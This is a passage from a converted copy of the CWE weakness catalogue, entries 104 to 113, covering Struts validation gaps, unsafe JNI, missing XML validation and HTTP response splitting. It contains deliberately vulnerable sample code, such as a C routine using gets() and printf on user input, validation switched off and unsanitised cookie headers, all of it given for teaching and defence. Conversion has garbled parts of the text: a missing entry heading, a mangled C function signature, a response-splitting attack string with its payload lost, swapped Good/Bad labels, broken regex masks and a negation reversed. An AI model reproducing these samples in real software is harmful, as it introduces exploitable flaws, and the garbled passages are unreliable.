<td>Software Fault Patterns</td>
<td>SFP24</td>
<td>Tainted input to command</td>
</tr>
</tbody>
</table>

Maintenance Notes

The current description implies a loose composite of two separate weaknesses, so this node might need to be split or converted into a low-level category.

CWE-104: Struts: Form Bean Does Not Extend Validation Class

Weakness ID: 104 (Weakness Variant) Status: Draft

Description

Summary
If a form bean does not extend an ActionForm subclass of the Validator framework, it can expose the application to other weaknesses related to insufficient input validation.

**Time of Introduction**
- Implementation

**Applicable Platforms**
- Languages
  - Java

**Common Consequences**
- Other
- Other
  - Bypassing the validation framework for a form exposes the application to numerous types of attacks. Unchecked input is an important component of vulnerabilities like cross-site scripting, process control, and SQL injection.

**Confidentiality**
**Integrity**
**Availability**
- Other
- Other
  - Although J2EE applications are not generally susceptible to memory corruption attacks, if a J2EE application interfaces with native code that does not perform array bounds checking, an attacker may be able to use an input validation mistake in the J2EE application to launch a buffer overflow attack.

**Demonstrative Examples**

In the following Java example the class RegistrationForm is a Struts framework ActionForm Bean that will maintain user information from a registration webpage for an online business site. The user will enter registration data and through the Struts framework the RegistrationForm bean will maintain the user data.

**Java Example:**

```
public class RegistrationForm extends org.apache.struts.action.ActionForm {
    // private variables for registration form
    private String name;
    private String email;
    ...
    public RegistrationForm() {
        super();
    }
    // getter and setter methods for private variables
    ...
}
```

However, the RegistrationForm class extends the Struts ActionForm class which does not allow the RegistrationForm class to use the Struts validator capabilities. When using the Struts framework to maintain user data in an ActionForm Bean, the class should always extend one of the validator classes, ValidatorForm, ValidatorActionForm, DynaValidatorForm or DynaValidatorActionForm. These validator classes provide default validation and the validate method for custom validation for the Bean object to use for validating input data. The following Java example shows the RegistrationForm class extending the ValidatorForm class and implementing the validate method for validating input data.

**Java Example:**

```
public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {
    // private variables for registration form
    private String name;
    private String email;
    ...
    public RegistrationForm() {
        super();
    }
    public ActionErrors validate(ActionMapping mapping, HttpServletRequest request) {...}
```
CWE Version 2.11
CWE-105: Struts: Form Field Without Validator

// getter and setter methods for private variables
...

Note that the ValidatorForm class itself extends the ActionForm class within the Struts framework API.

Potential Mitigations
Implementation
Ensure that all forms extend one of the Validation Classes.

Background Details
In order to use the Struts Validator, a form must extend one of the following: ValidatorForm, ValidatorActionForm, DynaValidatorActionForm, and DynaValidatorForm. You must extend one of these classes because the Struts Validator ties in to your application by implementing the validate() method in these classes. Forms derived from the ActionForm and DynaActionForm classes cannot use the Struts Validator.

Weakness Ordinalities
Primary (where the weakness exists independent of other weaknesses)

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>20</td>
<td>Improper Input Validation</td>
<td>700</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>101</td>
<td>Struts Validation Problems</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>573</td>
<td>Improper Following of Specification by Caller</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>722</td>
<td>OWASP Top Ten 2004 Category A1 - Unvalidated Input</td>
<td>711</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>990</td>
<td>SFP Secondary Cluster: Tainted Input to Command</td>
<td>888</td>
</tr>
</tbody>
</table>

Causal Nature
Explicit (an explicit weakness resulting from behavior of the developer)

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>7 Pernicious Kingdoms</td>
<td></td>
<td>Struts: Form Bean Does Not Extend Validation Class</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP24</td>
<td>Tainted input to command</td>
</tr>
</tbody>
</table>

CWE-105: Struts: Form Field Without Validator

Weakness ID: 105 (Weakness Variant)

Description

Summary
The application has a form field that is not validated by a corresponding validation form, which can introduce other weaknesses related to insufficient input validation.

Extended Description
Omitting validation for even a single input field may give attackers the leeway they need to compromise the application. Although J2EE applications are not generally susceptible to memory corruption attacks, if a J2EE application interfaces with native code that does not perform array bounds checking, an attacker may be able to use an input validation mistake in the J2EE application to launch a buffer overflow attack.

Time of Introduction
- Implementation

Applicable Platforms
Languages
- Java

Modes of Introduction
Some applications use the same ActionForm for more than one purpose. In situations like this, some fields may go unused under some action mappings.

Common Consequences
Integrity

Unexpected state

Integrity

Bypass protection mechanism

If unused fields are not validated, shared business logic in an action may allow attackers to bypass the validation checks that are performed for other uses of the form.

Demonstrative Examples

In the following example the Java class RegistrationForm is a Struts framework ActionForm Bean that will maintain user input data from a registration webpage for an online business site. The user will enter registration data and, through the Struts framework, the RegistrationForm bean will maintain the user data in the form fields using the private member variables. The RegistrationForm class uses the Struts validation capability by extending the ValidatorForm class and including the validation for the form fields within the validator XML file, validator.xml.

Good Code

```java
public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {
    // private variables for registration form
    private String name;
    private String address;
    private String city;
    private String state;
    private String zipcode;
    private String phone;
    private String email;
    public RegistrationForm() {
        super();
    }
    // getter and setter methods for private variables
    ...
}
```

The validator XML file, validator.xml, provides the validation for the form fields of the RegistrationForm.

XML Example:

```
<form-validation>
    <formset>
        <form name="RegistrationForm">
            <field property="name" depends="required">
                <arg position="0" key="prompt.name"/>
            </field>
            <field property="address" depends="required">
                <arg position="0" key="prompt.address"/>
            </field>
            <field property="city" depends="required">
                <arg position="0" key="prompt.city"/>
            </field>
            <field property="state" depends="required,mask">
                <arg position="0" key="prompt.state"/>
                <var>
                    <var-name>mask</var-name>
                    <var-value>[a-zA-Z][2]</var-value>
                </var>
            </field>
            <field property="zipcode" depends="required,mask">
                <arg position="0" key="prompt.zipcode"/>
                <var>
                    <var-name>mask</var-name>
                    <var-value>[0-9][5]</var-value>
                </var>
            </field>
        </form>
    </formset>
</form-validation>
```

Bad Code
However, in the previous example the validator XML file, validator.xml, does not provide validators for all of the form fields in the RegistrationForm. Validator forms are only provided for the first five of the seven form fields. The validator XML file should contain validator forms for all of the form fields for a Struts ActionForm bean. The following validator.xml file for the RegistrationForm class contains validator forms for all of the form fields.

**Potential Mitigations**

**Implementation**

Ensure that you validate all form fields. If a field is unused, it is still important to constrain it so that it is empty or undefined.

**Weakness Ordinalities**

**Primary** *(where the weakness exists independent of other weaknesses)*

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>⊂</td>
<td>20</td>
<td>Improper Input Validation</td>
<td>700 18</td>
</tr>
<tr>
<td>ChildOf</td>
<td>⊂</td>
<td>101</td>
<td>Struts Validation Problems</td>
<td>699 193</td>
</tr>
<tr>
<td>ChildOf</td>
<td>⊂</td>
<td>990</td>
<td>SFP Secondary Cluster: Tainted Input to Command</td>
<td>888 1392</td>
</tr>
</tbody>
</table>

**Causal Nature**

*Explicit* *(an explicit weakness resulting from behavior of the developer)*

**Taxonomy Mappings**
CWE-106: Struts: Plug-in Framework not in Use

Weakness ID: 106 (Weakness Variant) Status: Draft

Description

Summary
When an application does not use an input validation framework such as the Struts Validator, there is a greater risk of introducing weaknesses related to insufficient input validation.

Extended Description
Unchecked input is the leading cause of vulnerabilities in J2EE applications. Unchecked input leads to cross-site scripting, process control, and SQL injection vulnerabilities, among others. Although J2EE applications are not generally susceptible to memory corruption attacks, if a J2EE application interfaces with native code that does not perform array bounds checking, an attacker may be able to use an input validation mistake in the J2EE application to launch a buffer overflow attack.

Time of Introduction
• Implementation

Applicable Platforms
Languages
• Java

Common Consequences
Integrity
Unexpected state

Demonstrative Examples
In the following Java example the class RegistrationForm is a Struts framework ActionForm Bean that will maintain user input data from a registration webpage for an online business site. The user will enter registration data and, through the Struts framework, the RegistrationForm bean will maintain the user data.

Java Example:

```java
public class RegistrationForm extends org.apache.struts.action.ActionForm {
    // private variables for registration form
    private String name;
    private String email;
    ...
    public RegistrationForm() {
        super();
    }
    // getter and setter methods for private variables
    ...
}
```

However, the RegistrationForm class extends the Struts ActionForm class which does use the Struts validator plug-in to provide validator capabilities. In the following example, the RegistrationForm Java class extends the ValidatorForm and Struts configuration XML file, struts-config.xml, instructs the application to use the Struts validator plug-in.

Java Example:

```java
public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {
    // private variables for registration form
    private String name;
    private String email;
    ...
    public RegistrationForm() {
        super();
    }
    public ActionErrors validate(ActionMapping mapping, HttpServletRequest request) {...}
```
The plug-in tag of the Struts configuration XML file includes the name of the validator plug-in to be used and includes a set-property tag to instruct the application to use the file, validator-rules.xml, for default validation rules and the file, validation.xml, for custom validation.

XML Example:

```xml
<struts-config>
  <form-beans>
    <form-bean name="RegistrationForm" type="RegistrationForm"/>
  </form-beans>
...
<!-- ========================= Validator plugin ================================= -->
<plug-in className="org.apache.struts.validator.ValidatorPlugIn">
  <set-property property="pathnames" value="/WEB-INF/validator-rules.xml,/WEB-INF/validation.xml"/>
</plug-in>
</struts-config>
```

Potential Mitigations

Architecture and Design

Input Validation

Libraries or Frameworks

Use an input validation framework such as Struts.

Implementation

Input Validation

Libraries or Frameworks

Use the Struts Validator to validate all program input before it is processed by the application. Ensure that there are no holes in your configuration of the Struts Validator. Example uses of the validator include checking to ensure that:

- Phone number fields contain only valid characters in phone numbers
- Boolean values are only "T" or "F"
- Free-form strings are of a reasonable length and composition

Weakness Ordinalities

Primary (where the weakness exists independent of other weaknesses)

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>20</td>
<td>Improper Input Validation</td>
<td>700  18</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>101</td>
<td>Struts Validation Problems</td>
<td>699  193</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>722</td>
<td>OWASP Top Ten 2004 Category A1 - Unvalidated Input</td>
<td>711  1118</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>990</td>
<td>SFP Secondary Cluster: Tainted Input to Command</td>
<td>888  1392</td>
</tr>
</tbody>
</table>

Causal Nature

Explicit (an explicit weakness resulting from behavior of the developer)

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>7 Pernicious Kingdoms</td>
<td>Struts: Plug-in Framework Not In Use</td>
</tr>
</tbody>
</table>

CWE-107: Struts: Unused Validation Form

Weakness ID: 107 (Weakness Variant) Status: Draft

Description

Summary

An unused validation form indicates that validation logic is not up-to-date.

Extended Description
It is easy for developers to forget to update validation logic when they remove or rename action form mappings. One indication that validation logic is not being properly maintained is the presence of an unused validation form.

**Time of Introduction**
- Implementation
- Operation

**Applicable Platforms**

**Languages**
- Java

**Common Consequences**
- Other
  - Quality degradation

**Demonstrative Examples**

In the following example the class RegistrationForm is a Struts framework ActionForm Bean that will maintain user input data from a registration webpage for an online business site. The user will enter registration data and, through the Struts framework, the RegistrationForm bean will maintain the user data in the form fields using the private member variables. The RegistrationForm class uses the Struts validation capability by extending the ValidatorForm class and including the validation for the form fields within the validator XML file, validator.xml.

**Java Example:**

```java
public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {
    // private variables for registration form
    private String name;
    private String address;
    private String city;
    private String state;
    private String zipcode;
    // no longer using the phone form field
    private String phone;
    private String email;
    public RegistrationForm() {
        super();
    }
    // getter and setter methods for private variables
    ...
}
```

**XML Example:**

```xml
<form-validation>
    <formset>
        <form name="RegistrationForm">
            <field property="name" depends="required">
                <arg position="0" key="prompt.name"></arg>
            </field>
            <field property="address" depends="required">
                <arg position="0" key="prompt.address"></arg>
            </field>
            <field property="city" depends="required">
                <arg position="0" key="prompt.city"></arg>
            </field>
            <field property="state" depends="required,mask">
                <arg position="0" key="prompt.state"></arg>
                <var>
                    <var-name>mask</var-name>
                    <var-value>[a-zA-Z][2]</var-value>
                </var>
            </field>
            <field property="zipcode" depends="required,mask">
                <arg position="0" key="prompt.zipcode"></arg>
                <var>
                    <var-name>mask</var-name>
                    <var-value>\d{5}</var-value>
                </var>
            </field>
        </form>
    </formset>
</form-validation>
```
However, the validator XML file, validator.xml, for the RegistrationForm class includes the validation form for the user input form field "phone" that is no longer used by the input form and the RegistrationForm class. Any validation forms that are no longer required should be removed from the validator XML file, validator.xml.

The existence of unused forms may be an indication to attackers that this code is out of date or poorly maintained.

**Potential Mitigations**

**Implementation**

Remove the unused Validation Form from the validation.xml file.

**Weakness Ordinalities**

**Resultant** *(where the weakness is typically related to the presence of some other weaknesses)*

<table>
<thead>
<tr>
<th>Relationships</th>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>101</td>
<td>Struts Validation Problems</td>
<td>699 193</td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>398</td>
<td>Indicator of Poor Code Quality</td>
<td>1000 685</td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>990</td>
<td>SFP Secondary Cluster: Tainted Input to Command</td>
<td>888 1392</td>
<td></td>
</tr>
</tbody>
</table>

**Causal Nature**

**Explicit** *(an explicit weakness resulting from behavior of the developer)*

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>7 Pernicious Kingdoms</td>
<td>Struts: Unused Validation Form</td>
</tr>
</tbody>
</table>

**CWE-108: Struts: Unvalidated Action Form**

**Weakness ID:** 108 *(Weakness Variant)*

**Status:** Incomplete

**Description**

**Summary**

Every Action Form must have a corresponding validation form.

**Extended Description**

If a Struts Action Form Mapping specifies a form, it must have a validation form defined under the Struts Validator.

**Time of Introduction**

- Implementation

**Applicable Platforms**

**Languages**

- Java

**Common Consequences**
If an action form mapping does not have a validation form defined, it may be vulnerable to a number of attacks that rely on unchecked input. Unchecked input is the root cause of some of today's worst and most common software security problems. Cross-site scripting, SQL injection, and process control vulnerabilities all stem from incomplete or absent input validation.

Although J2EE applications are not generally susceptible to memory corruption attacks, if a J2EE application interfaces with native code that does not perform array bounds checking, an attacker may be able to use an input validation mistake in the J2EE application to launch a buffer overflow attack.

**Potential Mitigations**

**Implementation**

**Input Validation**

Map every Action Form to a corresponding validation form.

An action or a form may perform validation in other ways, but the Struts Validator provides an excellent way to verify that all input receives at least a basic level of validation. Without this approach, it is difficult, and often impossible, to establish with a high level of confidence that all input is validated.

**Weakness Ordinalities**

**Primary** *(where the weakness exists independent of other weaknesses)*

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>✔</td>
<td>20</td>
<td>Improper Input Validation</td>
<td>700</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>☐</td>
<td>101</td>
<td>Struts Validation Problems</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>193</td>
</tr>
<tr>
<td>ChildOf</td>
<td>☐</td>
<td>990</td>
<td>SFP Secondary Cluster: Tainted Input to Command</td>
<td>888</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1392</td>
</tr>
</tbody>
</table>

**Causal Nature**

**Explicit** *(an explicit weakness resulting from behavior of the developer)*

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>7 Pernicious Kingdoms</td>
<td>SFP24</td>
<td>Struts: Unvalidated Action Form</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td></td>
<td>Tainted input to command</td>
</tr>
</tbody>
</table>

**CWE-109: Struts: Validator Turned Off**

**Weakness ID:** 109 *(Weakness Variant)*

**Description**

**Summary**

Automatic filtering via a Struts bean has been turned off, which disables the Struts Validator and custom validation logic. This exposes the application to other weaknesses related to insufficient input validation.

**Time of Introduction**

- Implementation

**Applicable Platforms**

**Languages**

- Java

**Common Consequences**

- Access Control
- Bypass protection mechanism
Demonstrative Examples
This mapping defines an action for a download form:

**XML Example:**

```xml
<action path="/download"
  type="com.website.d2.action.DownloadAction"
  name="downloadForm"
  scope="request"
  input="*.download"
  validate="false">
</action>
```

This mapping has disabled validation. Disabling validation exposes this action to numerous types of attacks.

Potential Mitigations
**Implementation**
Ensure that an action form mapping enables validation. Set the validate field to true.

Other Notes
The Action Form mapping in the demonstrative example disables the form's validate() method. The Struts bean: write tag automatically encodes special HTML characters, replacing a < with "&lt;" and a > with "&gt;". This action can be disabled by specifying filter="false" as an attribute of the tag to disable specified JSP pages. However, being disabled makes these pages susceptible to cross-site scripting attacks. An attacker may be able to insert malicious scripts as user input to write to these JSP pages.

Weakness Ordinalities
**Primary** *(where the weakness exists independent of other weaknesses)*

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>20</td>
<td>Improper Input Validation</td>
<td>700  18</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>101</td>
<td>Struts Validation Problems</td>
<td>699  193</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>722</td>
<td>OWASP Top Ten 2004 Category A1 - Unvalidated Input</td>
<td>711  1118</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>990</td>
<td>SFP Secondary Cluster: Tainted Input to Command</td>
<td>888  1392</td>
</tr>
</tbody>
</table>

Causal Nature
**Explicit** *(an explicit weakness resulting from behavior of the developer)*

<table>
<thead>
<tr>
<th>Taxonomy Mappings</th>
</tr>
</thead>
<tbody>
<tr>
<td>Mapped Taxonomy Name</td>
</tr>
<tr>
<td>7 Pernicious Kingdoms</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
</tr>
</tbody>
</table>

CWE-110: Struts: Validator Without Form Field

**Weakness ID:** 110  *(Weakness Variant)*  
**Status:** Draft

**Description**

**Summary**
Validation fields that do not appear in forms they are associated with indicate that the validation logic is out of date.

**Extended Description**
It is easy for developers to forget to update validation logic when they make changes to an ActionForm class. One indication that validation logic is not being properly maintained is inconsistencies between the action form and the validation form.

Although J2EE applications are not generally susceptible to memory corruption attacks, if a J2EE application interfaces with native code that does not perform array bounds checking, an attacker may be able to use an input validation mistake in the J2EE application to launch a buffer overflow attack.

**Time of Introduction**
• Implementation
• Operation

Applicable Platforms

Languages
• Java

Common Consequences

Other

Other

It is critically important that validation logic be maintained and kept in sync with the rest of the application. Unchecked input is the root cause of some of today's worst and most common software security problems. Cross-site scripting, SQL injection, and process control vulnerabilities all stem from incomplete or absent input validation.

Demonstrative Examples

Example 1:
An action form with two fields.

Java Example:

```java
public class DateRangeForm extends ValidatorForm {
    String startDate, endDate;
    public void setStartDate(String startDate) {
        this.startDate = startDate;
    }
    public void setEndDate(String endDate) {
        this.endDate = endDate;
    }
}
```

This example shows an action form that has two fields, startDate and endDate.

Example 2:
A validation form with a third field.

XML Example:

```xml
<form name="DateRangeForm">
    <field property="startDate" depends="date">
        <arg0 key="start.date"/>
    </field>
    <field property="endDate" depends="date">
        <arg0 key="end.date"/>
    </field>
    <field property="scale" depends="integer">
        <arg0 key="range.scale"/>
    </field>
</form>
```

This example lists a validation form for the action form. The validation form lists a third field: scale. The presence of the third field suggests that DateRangeForm was modified without taking validation into account.

Potential Mitigations

Build and Compilation
Testing
Input Validation
To find the issue in the implementation, manual checks or automated static analysis could be applied to the xml configuration files.

Weakness Ordinalities

Primary (where the weakness exists independent of other weaknesses)

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>🌟</td>
<td>20</td>
<td>Improper Input Validation</td>
<td>700</td>
</tr>
<tr>
<td>ChildOf</td>
<td>⚠</td>
<td>101</td>
<td>Struts Validation Problems</td>
<td>699</td>
</tr>
</tbody>
</table>
When a Java application uses the Java Native Interface (JNI) to call code written in another programming language, it can expose the application to weaknesses in that code, even if those weaknesses cannot occur in Java.

Many safety features that programmers may take for granted simply do not apply for native code, so you must carefully review all such code for potential problems. The languages used to implement native code may be more susceptible to buffer overflows and other attacks. Native code is unprotected by the security features enforced by the runtime environment, such as strong typing and array bounds checking.

The following code defines a class named Echo. The class declares one native method (defined below), which uses C to echo commands entered on the console back to the user. The following C code defines the native method implemented in the Echo class:

**Java Example:**
```java
class Echo {
    public native void runEcho();
    static {
        System.loadLibrary("echo");
    }
    public static void main(String[] args) {
        new Echo().runEcho();
    }
}
```

**C Example:**
```c
#include <jni.h>
#include "Echo.h" // the java class above compiled with javah
#include <stdio.h>
JNIEXPORT void JNIInvoke realization (JNIEnv *env, jobject obj)
{
    char buf[64];
    gets(buf);
    printf(buf);
}
```
Because the example is implemented in Java, it may appear that it is immune to memory issues like buffer overflow vulnerabilities. Although Java does a good job of making memory operations safe, this protection does not extend to vulnerabilities occurring in source code written in other languages that are accessed using the Java Native Interface. Despite the memory protections offered in Java, the C code in this example is vulnerable to a buffer overflow because it makes use of gets(), which does not check the length of its input.

The Sun Java(TM) Tutorial provides the following description of JNI [See Reference]: The JNI framework lets your native method utilize Java objects in the same way that Java code uses these objects. A native method can create Java objects, including arrays and strings, and then inspect and use these objects to perform its tasks. A native method can also inspect and use objects created by Java application code. A native method can even update Java objects that it created or that were passed to it, and these updated objects are available to the Java application. Thus, both the native language side and the Java side of an application can create, update, and access Java objects and then share these objects between them.

The vulnerability in the example above could easily be detected through a source code audit of the native method implementation. This may not be practical or possible depending on the availability of the C source code and the way the project is built, but in many cases it may suffice. However, the ability to share objects between Java and native methods expands the potential risk to much more insidious cases where improper data handling in Java may lead to unexpected vulnerabilities in native code or unsafe operations in native code corrupt data structures in Java. Vulnerabilities in native code accessed through a Java application are typically exploited in the same manner as they are in applications written in the native language. The only challenge to such an attack is for the attacker to identify that the Java application uses native code to perform certain operations. This can be accomplished in a variety of ways, including identifying specific behaviors that are often implemented with native code or by exploiting a system information exposure in the Java application that reveals its use of JNI [See Reference].

Potential Mitigations
Implementation
Implement error handling around the JNI call.

Architecture and Design
Implementation

Refactoring
Do not use JNI calls if you don’t trust the native library.

Architecture and Design
Implementation

Refactoring
Be reluctant to use JNI calls. A Java API equivalent may exist.

Weakness Ordinalities
Primary (where the weakness exists independent of other weaknesses)

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>G</td>
<td>20</td>
<td>Improper Input Validation</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>695</td>
<td>Use of Low-Level Functionality</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>859</td>
<td>CERT Java Secure Coding Section 14 - Platform Security (SEC)</td>
<td>844</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>1001</td>
<td>SFP Secondary Cluster: Use of an Improper API</td>
<td>888</td>
</tr>
</tbody>
</table>

Causal Nature
Explicit (an explicit weakness resulting from behavior of the developer)

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>7 Pernicious Kingdoms</td>
<td></td>
<td>Unsafe JNI</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>SEC08-J</td>
<td>Define wrappers around native methods</td>
</tr>
</tbody>
</table>
CWE-112: Missing XML Validation

Summary
The software accepts XML from an untrusted source but does not validate the XML against the proper schema.

Extended Description
Most successful attacks begin with a violation of the programmer's assumptions. By accepting an XML document without validating it against a DTD or XML schema, the programmer leaves a door open for attackers to provide unexpected, unreasonable, or malicious input.

Time of Introduction
• Implementation

Applicable Platforms
Languages
• All

Common Consequences
Integrity
Unexpected state

Demonstrative Examples
Example 1:
The following code loads and parses an XML file.

Java Example:
```java
// Read DOM
try {
    ...
    DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
    factory.setValidating( false );
    ...
    c_dom = factory.newDocumentBuilder().parse( xmlFile );
} catch(Exception ex) {
    ...
}
```

The XML file is loaded without validating it against a known XML Schema or DTD.

Example 2:
The following code creates a DocumentBuilder object to be used in building an XML document.

Java Example:
```java
DocumentBuilderFactory builderFactory = DocumentBuilderFactory.newInstance();
builderFactory.setNamespaceAware(true);
DocumentBuilder builder = builderFactory.newDocumentBuilder();
```

The DocumentBuilder object does not validate an XML document against a schema, making it possible to create an invalid XML document.

Potential Mitigations
Architecture and Design

Input Validation

Always validate XML input against a known XML Schema or DTD.

It is not possible for an XML parser to validate all aspects of a document's content because a parser cannot understand the complete semantics of the data. However, a parser can do a complete and thorough job of checking the document's structure and therefore guarantee to the code that processes the document that the content is well-formed.

Weakness Ordinalities

Primary (where the weakness exists independent of other weaknesses)

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>20</td>
<td>Improper Input Validation</td>
<td>700 18</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>100</td>
<td>Technology-Specific Input Validation Problems</td>
<td>699 192</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>990</td>
<td>SFP Secondary Cluster: Tainted Input to Command</td>
<td>888 1392</td>
</tr>
</tbody>
</table>

Causal Nature

Explicit (an explicit weakness resulting from behavior of the developer)

Taxonomy Mappings

<table>
<thead>
<tr>
<th>7 Pernicious Kingdoms</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Missing XML Validation</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

| Software Fault Patterns | SFP24 | Tainted input to command |

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>99</td>
<td>XML Parser Attack</td>
</tr>
<tr>
<td>230</td>
<td>XML Nested Payloads</td>
</tr>
<tr>
<td>231</td>
<td>XML Oversized Payloads</td>
</tr>
<tr>
<td>484</td>
<td>XML Client-Side Attack</td>
</tr>
</tbody>
</table>

CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')

Weakness ID: 113 (Weakness Base) Status: Incomplete

Description

Summary

The software receives data from an upstream component, but does not neutralize or incorrectly neutralizes CR and LF characters before the data is included in outgoing HTTP headers.

Extended Description

Including unvalidated data in an HTTP header allows an attacker to specify the entirety of the HTTP response rendered by the browser. When an HTTP request contains unexpected CR (carriage return, also given by %0d or \r) and LF (line feed, also given by %0a or \n) characters the server may respond with an output stream that is interpreted as two different HTTP responses (instead of one). An attacker can control the second response and mount attacks such as cross-site scripting and cache poisoning attacks.

HTTP response splitting weaknesses may be present when:

- Data enters a web application through an untrusted source, most frequently an HTTP request.
- The data is included in an HTTP response header sent to a web user without being validated for malicious characters.

Time of Introduction

• Implementation

Applicable Platforms

Languages

• All

Common Consequences
CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')

Integrity
Access Control
Modify application data
Gain privileges / assume identity

CR and LF characters in an HTTP header may give attackers control of the remaining headers and body of the response the application intends to send, as well as allowing them to create additional responses entirely under their control.

Demonstrative Examples

Example 1:
The following code segment reads the name of the author of a weblog entry, author, from an HTTP request and sets it in a cookie header of an HTTP response.

Java Example:

```java
String author = request.getParameter(AUTHOR_PARAM);
...
Cookie cookie = new Cookie("author", author);
cookie.setMaxAge(cookieExpiration);
response.addCookie(cookie);
```

Assuming a string consisting of standard alpha-numeric characters, such as "Jane Smith", is submitted in the request the HTTP response including this cookie might take the following form:

```
HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...
```

However, because the value of the cookie is formed of unvalidated user input the response will only maintain this form if the value submitted for AUTHOR_PARAM does not contain any CR and LF characters. If an attacker submits a malicious string, such as

```
Wiley Hacker
```

then the HTTP response would be split into two responses of the following form:

```
HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker
```

Clearly, the second response is completely controlled by the attacker and can be constructed with any header and body content desired. The ability of attacker to construct arbitrary HTTP responses permits a variety of resulting attacks, including:

cross-user defacement
web and browser cache poisoning
cross-site scripting
page hijacking

Example 2:

An attacker can make a single request to a vulnerable server that will cause the server to create two responses, the second of which may be misinterpreted as a response to a different request, possibly one made by another user sharing the same TCP connection with the server. This can be accomplished by convincing the user to submit the malicious request themselves, or remotely in situations where the attacker and the user share a common TCP connection to the server, such as a shared proxy server.

In the best case, an attacker can leverage this ability to convince users that the application has been hacked, causing users to lose confidence in the security of the application.
In the worst case, an attacker may provide specially crafted content designed to mimic the behavior of the application but redirect private information, such as account numbers and passwords, back to the attacker.

**Example 3:**
